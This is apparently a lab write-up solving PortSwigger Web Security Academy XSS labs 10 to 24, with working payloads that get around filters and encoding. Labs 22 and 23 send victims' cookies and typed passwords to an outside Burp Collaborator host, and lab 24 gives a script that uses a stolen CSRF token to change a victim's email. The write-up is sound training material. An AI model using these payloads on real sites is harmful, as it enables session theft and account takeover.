Labs Covered
This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Cross-site scripting (XSS):
10 DOM XSS in document.write sink using source location.search inside a select element
This lab demonstrates DOM XSS occurring via document.write() using URL parameters inside a <select> element context.
11 DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
This lab explores how AngularJS expressions can be exploited despite HTML encoding of angle brackets and double quotes.
12 Reflected DOM XSS
This lab shows reflected DOM-based XSS vulnerabilities where user input is unsafely handled in the DOM.
13 Stored DOM XSS
This lab covers stored DOM XSS vulnerabilities where malicious scripts are persistently injected and executed.
14 Reflected XSS into HTML context with most tags and attributes blocked
This lab demonstrates reflected XSS where most HTML tags and attributes are blocked but exploitation remains possible.
15 Reflected XSS into HTML context with all tags blocked except custom ones
This lab shows how attackers can leverage allowed custom tags to carry out reflected XSS attacks.
16 Reflected XSS with some SVG markup allowed
This lab explores XSS attacks exploiting allowed SVG markup.
17 Reflected XSS in canonical link tag
This lab demonstrates XSS via injection into the canonical link tag in the HTML header.
18 Reflected XSS into a JavaScript string with single quote and backslash escaped
This lab covers XSS where single quotes and backslashes are escaped but scripts still execute.
19 Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
This lab shows reflected XSS despite multiple layers of encoding and escaping.
20 Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
This lab demonstrates stored XSS exploiting encoded and escaped event handlers.
21 Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
This lab shows advanced reflected XSS exploiting template literals despite Unicode escaping.
22 Exploiting cross-site scripting to steal cookies
This lab demonstrates practical exploitation of XSS to steal session cookies.
23 Exploiting cross-site scripting to capture passwords
lab shows how XSS can be used to capture user passwords from input fields.
24 Exploiting XSS to bypass CSRF defenses
This lab explains how XSS vulnerabilities can be leveraged to bypass CSRF protections.
LAB 10 - DOM XSS in document.write sink using source location.search inside a select element
Lab Description
Solution
We press contrl+u annd see the sink which is shown below:
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
The parameter storeId is written between “” and “”. That means if we add that value in the GET request it appears between the options, for example accessing "/product?productId=4&storeId=1".
To escape the option tags we can use the payload:
</option><script>alert(1)</script><option selected>
/product?productId=4&storeId=</option><script>alert(1)</script><option%20selected>
Lab is solved
LAB 11 - DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
Lab Description
Solution
There is a search function on the website.
The string is part of a h1 tag:
Using curly-braces we find this payload is interpreted:
I could pop an alert with the example from https://stackoverflow.com/questions/66759842/what-does-object-constructor-constructoralert1-actually-do-in-javascript:
The official solution is similar: ``
After alert lab will be solved
LAB 12 - Reflected DOM XSS
Lab Description
Solution
There is a Javascript script in /resources/js/searchResults.js, which is:
The sink inside ie below:
There is a request to /search-results.
The response to /search-results:
The correct payload from the solution:
\"-alert(1)}//
• Server adds \ to “ so “ becomes “”. • } closes the JSON object // comments the rest of the object
And lab will be solved
LAB 13 - Stored DOM XSS
Lab Description
Solution
It is possible to post comments on the website:
It generates the following HTML code:
We can try the payload:
</p><img src=x onerror=alert(1) /><p></p>
It pops an alert and lab will be solved:
LAB 14 - Reflected XSS into HTML context with most tags and attributes blocked
Lab Description
Solution
The content of the search is reflected inside a h1 HTML element:
If we try to add a tag “h1” it gets blocked:
But not if it is “h2”:
With this payload the HTML is generated correctly:
<h3>a</h3>
With this payload it says “Attribute is not allowed”:
<h3 onerror=alert(1)>a</h3>
I sent it to Intruder and got all events from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet:
The only ones working:
• onbeforeinput
• onratechange
• onscrollend
• Onresize
I will do the same for the tags, in this case using Battery Ram attack type:
The only ones working:
• custom tags • Body
The information in the cheatsheet from these attributes is:
So we have 3 possible payloads, because as “audio” and “video” tags are not available we can not use “onratechange”:
<xss contenteditable onbeforeinput=alert(1)>test
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
<body onresize="print()">
Regarding the “onscrollend” payload, I updated it because it can not use “br” or “span”. However, it is necessary to scroll to the top or the bottom to see the alert pop:
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><h2>a</h2><h3 id=x>test</h3></h3>
Regarding the “onbeforeinput” payload, it is necessary to click the text and update it for the alert to pop:
<xss contenteditable onbeforeinput=alert(1)>test</xss>
The third one is valid but it needs the user to change the size of the tab:
<body onresize="print()">
We will send this last one inside an iframe:
https://0ad100ff04e7e76582e088af00ae0026.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E
?search=%3Cbody+onresize%3Dprint%28%29%3E" height="100%" title="Iframe Example" onload=body.style.width='100%
In order to solve the lab, there must not be user interaction to trigger the payload since it is sent to victim.
The print command needs to be performed automatically without any user interaction. Therefore I need a way to enforce the resize event without requiring the victim to do it.So I include onload=this.style.width='100px' to automatically resize the page when it loads . This willl now trigger an XSS .
<iframe src="https://0ad100ff04e7e76582e088af00ae0026.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E" height="100%" title="Iframe Example" onload=body.style.width='100%'></iframe>
URL-encode the entire search term to ensure nothing goes amiss inside the iframe.
Store & deliver exploit to victim to solve the lab.
LAB 15 - Reflected XSS into HTML context with all tags blocked except custom ones
Lab Description
### Solution
The search term is reflected in the page response embedded within <h1> tags.
Step 1: Intruder Payload
The payload sent to Intruder for testing:
<tag attrib=alert(1)>text</tag>
Step 2: Attribute Testing
We begin by testing which attributes are allowed:
It seems all attributes are valid:
Step 3: Tag Testing
Testing various tag names:
The following tag names are accepted:
animatetransformanimatemotioncustom tagsanimateiframe2audio2image2image3input2input3input4video2img2seta2
Example:
Step 4: Executing XSS with Autofocus + onfocus
We use the following payload to trigger a pop-up using autofocus and onfocus:
<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>
Encoded URL:
https://0a69008d036aebe780944ee10019004a.web-security-academy.net/?search=%3Cxss+autofocus+tabindex%3D1+onfocus%3Dalert%28document.cookie%29%3E%3C%2Fxss%3E
Payload in action:
Final Step: Deliver to Victim
Deliver the crafted exploit link to the victim. When they visit the page, the malicious payload will execute and the lab will be marked as solved.
LAB 16 - Reflected XSS with some SVG markup allowed
Lab Description
Solution
The content of the search is reflected inside a h1 HTML element:
In this case it seems not even custom tags are allowed. I will test all possible tags:
The valid tags are:
• animatetransform
• image
• title
And then all possible attributes: • Onbegin
We get this payload from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet:
<svg><animatetransform onbegin=alert(1) attributeName=transform>
LAB 17 - Reflected XSS in canonical link tag
Lab Description
Solution
To assist with your exploit, you can assume that the simulated user will press the following key combinations:
• ALT+SHIFT+X
• CTRL+ALT+X
• Alt+X
Please note that the intended solution to this lab is only possible in Chrome.
The page allows to post comments:
We find the link with ‘rel=”canonical”’ in the head section of the HTML page:
We would like to turn it to:
<link rel="canonical" accesskey="X" onclick="alert(1)" />
In the /post endpoint it is necessary to send a correct postId, but it is possible to add more parameters which change the content of the href attribute:
A correct payload:
/post?postId=1&a=b'accesskey='X'onclick='alert(1)
LAB 18 - Reflected XSS into a JavaScript string with single quote and backslash escaped
Lab Description
Solution
The content of the search is reflected inside a h1 HTML element and a variable in Javascript with single quotes:
I used the payload:
';</script><img src=x onerror=alert(1)><script>var a='a
LAB 19 - Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
Lab Description
Solution
The content of the search is reflected inside a h1 HTML element and a variable in Javascript with single quotes:
A payload that works is:
\';alert(1);//
LAB 20 - Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
Lab Description
Solution
There is a function to post comments:
It generates the following HTML code:
<a id="author" href="http://test4.com" onclick="var tracker={track(){}};tracker.track('http://test4.com');">test2</a>
We see single quote and backslash characters are indeed escaped and angle brackets and double quotes are HTML-encoded:
We will use “’” next:
http://test4.com');alert(1);//
POST /post/comment HTTP/2
...
csrf=e8yz3UQ62qX7CBfs9PFEanjwdYjzbaMz&postId=1&comment=test1&name=test2&email=test3%40test.com&website=http%3A%2F%2Ftest4.com%26apos;);alert(1)%3b//
When clicking the username an alert pops:
LAB 21 - Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
Lab Description
Solution
The content of the search is reflected inside the variable “message”, a template literal:
We can execute this payload inside the template literal:
${alert(1)}
LAB 22 - Exploiting cross-site scripting to steal cookies
Lab Description
Solution
First we test the XSS in one of the blog posts. This payload works:
</p><img src=x onerror=alert(1) /><p>
Next we try the payload:
document.location="http://s2v2in38mu6tj6w733goro9f066xunic.oastify.com/?cookies="+document.cookie
</p><img src=x onerror='document.location="http://s2v2in38mu6tj6w733goro9f066xunic.oastify.com/?cookies="+document.cookie' /><p>
We receive cookies in Burp Collaborator:
Then intercept the request to the Home page and add these cookies and we are authenticated as another user and lab will be solved:
LAB 23 - Exploiting cross-site scripting to capture passwords
Lab Description
Solution
We test the most simple XSS payload on comments:
It gets executed:
Next we test a payload from https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md:
<script>var i=new Image;i.src="http://ecu0uhyerytdj8d8vdyuowv8zz5qtlha.oastify.com/?cookie="+document.cookie;</script>
Or
<img src=x onerror="this.src='http://ecu0uhyerytdj8d8vdyuowv8zz5qtlha.oastify.com/?cookie='+document.cookie; this.removeAttribute('onerror');">
We get an HTTP request with the cookie:
Next I opened the Firefox debugger’s Console and set the cookie:
document.cookie="secret=5yN1hPLMMamjE1mFPVb7ocKMq7BSYyTK"
But that does not work…
Solution:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Collaborator response:
Solved with credentials administrator:ec7ga43qyd9zisyb4h4i
LAB 24 - Exploiting XSS to bypass CSRF defenses
Lab Description
Solution
There is a function to update the email:
It is a POST message:
There is a function to post comments:
Submit the following payload (e.g., in a blog comment field):
</p><img src=x onerror=alert(1) /><p>
Once submitted and viewed by a victim, the alert(1) will execute.
You can also escalate the attack by submitting the following XSS-based CSRF payload in the comment:
Now Stored below comment in blog then lab will be marked ad solve
<script>
// Wait the window is fully loaded, otherwise the CSRF token will be empty
window.onload = function (){
// Fetch victim's CSRF token
var csrfToken = document.getElementsByName("csrf")[0].value;
var email = 'attacker@malicious.com';
// Construct the require POST parameters
var data = 'email=' + email + '&';
data += 'csrf=' + csrfToken;
// Change victim's email upon visit via CSRF attack
fetch('https://id.web-security-academy.net/my-account/change-email',
{
method: 'POST',
mode: 'no-cors',
body: data
}
)
};
</script>